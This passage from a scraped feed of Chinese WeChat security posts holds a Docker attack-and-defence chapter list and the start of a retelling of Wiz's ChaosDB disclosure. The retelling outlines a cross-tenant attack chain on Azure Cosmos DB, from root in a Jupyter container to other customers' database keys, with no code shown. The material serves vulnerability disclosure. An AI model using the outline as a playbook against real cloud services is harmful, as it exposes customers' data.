注册表</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">通过分析 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker</p> 镜像从容器中寻找密钥</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">与受保护的 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker</p> 注册表交互</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">破坏源 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker</p> 镜像</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">容器环境突破（<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489228&amp;idx=1&amp;sn=7f6513f04f8d83e664dc68fc39244cac&amp;chksm=fdf97dd9ca8ef4cf94355672e63f6986aae6bca1f6c6d6b193c54886edb9d4672023def10769&amp;scene=21#wechat_redirect" textvalue="第 1 部分" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">第 1 部分</a>和<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489235&amp;idx=1&amp;sn=67d735faafe807fc547faafb081ee996&amp;chksm=fdf97dc6ca8ef4d0b427e9fbb4f778fc50a0254fb5ca505166e82dcd942050d32ee729b9df6c&amp;scene=21#wechat_redirect" textvalue="第 2 部分" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">第 2 部分</a>）</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">攻击 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker</p> 守护进程服务（<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489263&amp;idx=1&amp;sn=caeb06117c9bc555fa5866c59ceb9333&amp;chksm=fdf97dfaca8ef4ecd86d1a506fbaefce260bc03f013b5d97639ed30644e12e14971e440a953b&amp;scene=21#wechat_redirect" textvalue="第 1 部分" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">第 1 部分</a>和<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489264&amp;idx=1&amp;sn=fb4e1c7cd76c996d2c2e805ba2298a36&amp;chksm=fdf97de5ca8ef4f35f4dff7d50f6cec1264d39370d3177e20dc52839f1ab1e6d7d80932fb76d&amp;scene=21#wechat_redirect" textvalue="第 2 部分" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">第 2 部分</a>）</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">从 不受<p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Seccomp</p> 约束的容器中突破</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">利用绑定挂载的安全检查</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">通过滥用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">REST API</p> 绕过 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker</p> 防火墙插件</div></div></li></ul><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">保护您的 Docker 环境</h3><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AppArmor</p> 保护 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker</p> 环境</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在运行的容器中寻找恶意二进制文件</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">通过 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Linters</p> 识别和修复 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Dockerfile</p> 中的错误配置</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Clair</p> 识别 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker</p> 镜像中的已知漏洞</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker</p> 容器的 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Seccomp</p> 基础知识</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">使用密码和 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">TLS </p>证书保护 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker</p> 注册表</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker</p> 引擎 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">API</p> 实施 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">TLS</p> 证书</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Dockscan</p> 识别 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Docker</p> 设置中的问题</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">通过 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">UserNS</p> 重映射防止容器突破导致的特权升级</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">观察使用 <p style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Falco</p> 检测到的恶意行为</div></div></li></ul></div><h1 data-tool="mdnice编辑器" style="margin-top: 1.2em;margin-bottom: 1em;outline: 0px;font-weight: bold;font-size: 24px;max-width: 100%;white-space: normal;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.75px;text-align: left;background-color: rgb(255, 255, 255);color: rgb(119, 48, 152);box-sizing: border-box !important;overflow-wrap: break-word !important;">请点一下右下角的“在看”，谢谢！！</h1><h1 data-tool="mdnice编辑器" style="margin-top: 1.2em;margin-bottom: 1em;outline: 0px;font-weight: bold;font-size: 24px;max-width: 100%;white-space: normal;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.75px;text-align: left;background-color: rgb(255, 255, 255);color: rgb(119, 48, 152);box-sizing: border-box !important;overflow-wrap: break-word !important;">请帮忙点赞， 谢谢！！</h1><h1 data-tool="mdnice编辑器" style="margin-top: 1.2em;margin-bottom: 1em;outline: 0px;font-weight: bold;font-size: 24px;max-width: 100%;white-space: normal;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.75px;text-align: left;background-color: rgb(255, 255, 255);color: rgb(119, 48, 152);box-sizing: border-box !important;overflow-wrap: break-word !important;">请帮忙转发，谢谢！！</h1><h1 data-tool="mdnice编辑器" style="margin-top: 1.2em;margin-bottom: 1em;outline: 0px;font-weight: bold;font-size: 24px;max-width: 100%;white-space: normal;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.75px;text-align: left;background-color: rgb(255, 255, 255);color: rgb(119, 48, 152);box-sizing: border-box !important;overflow-wrap: break-word !important;">暗号: 114387</h1><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247489521">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0d4a1101&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489521%26idx%3D1%26sn%3D9e8e9965e9eef220d5b8c35c6086dd73">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 02 Jun 2023 08:02:00 +0800</pubDate>
    </item>
    <item>
      <title>云安全案例18：黑客披露如何破解数以千计的 Azure 客户的数据库的细节</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489520&amp;idx=1&amp;sn=61790375c16c9eaba8c5c2cbbdf5add4</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-06-01 09:38</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6400766e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhibU8FYia1wr2wJNib9ge4NtoKLNVaVdibMo4GhqZdQQwXcQB2Z11K5UMow%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">这是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Wiz</p>研究团队发现并披露的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure  ChaosDB</p>漏洞的完整故事 ，我们能够完全不受限制地访问数千名 微软<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>客户的数据库。2021 年 8 月，我们向 微软 披露了<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>中的一个新漏洞，该漏洞最终使我们能够获取可用于管理服务的大量内部密钥。渗透过程大致如下：</div><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;margin-left: 20px;" class="list-paddingleft-1"><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure Cosmos DB</p>上设置<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Jupyter Notebook</p>容器</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">运行任意<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">C#</p>代码获取<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">root</p>权限</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">删除在容器本地设置的防火墙规则以获得不受限制的网络访问</p></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">查询<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">WireServer</p>以获取有关已安装的扩展、证书及其对应私钥的信息</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">连接本地<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Service Fabric</p>，列出所有正在运行的应用程序，获取其他客户数据库的主密钥</div></div></li><li><div style="line-height: 26px;color: rgb(1, 1, 1);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">通过<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Internet</p>访问多个区域的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Service Fabric</p>实例</div></div></li></ol><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在这篇文章中，我们将带您完成整个过程的每一步，直到我们甚至获得了<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure</p>的一些管理访问权限。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>揭开基础知识——什么是 Azure Cosmos DB？</span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">据 微软称：</p><blockquote data-tool="mdnice编辑器" style="border-top: none;border-bottom: none;font-size: 0.9em;overflow: auto;padding: 10px 10px 10px 20px;margin: 10px 5px;border-left-color: rgb(150, 84, 181);border-right: 1px solid rgb(150, 84, 181);color: rgb(97, 97, 97);quotes: none;background: rgb(251, 249, 253);"><div style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure Cosmos DB</p>是一个用于现代应用程序开发的完全托管<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">NoSQL</p>数据库。毫秒级响应时间，具有自动和即时的可扩展性，保证在任何规模的速度。业务连续性通过<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">SLA</p>支持的可用性和企业级安全性得到保证。</div></blockquote><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>于 2017 年 5 月推出，是一种全球分布式数据库解决方案，被知名客户使用，包括许多财富 500 强公司。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.49907407407407406" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=11a18b59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhtl172kGgbhuIF6KETHLMN3yHQdYIYXka8jKJxAibCv0MKd4VhKJay8w%2F640%3Fwx_fmt%3Dother"/></figure><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>可以通过<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">API</p>密钥访问来进行读取、写入和删除操作，其权限可以由标准的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure IAM</p>管理。要对<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>实例执行任何操作，只需提供<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>端点和适当的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">API</p>密钥（主密钥）。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Cosmos DB</p>帐户的主键相当于传统本地数据库中的根密码。</div><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-ratio="0.49074074074074076" data-type="other" data-w="1080" style="display: block;margin-right: auto;margin-left: auto;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=32242afd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbwUtib1OLvBrvuEaCdxQHiaZhFDL8qicp9g7f3FRePsw5w0j5VKdp7uGv7X0Vpvr06IPvBBHSzDRLRDg%2F640%3Fwx_fmt%3Dother"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;">Cosmos DB 访问密钥和连接 URI</figcaption></figure><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;"><span>什么是 Jupyter <p>notebook</p>？</span></h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 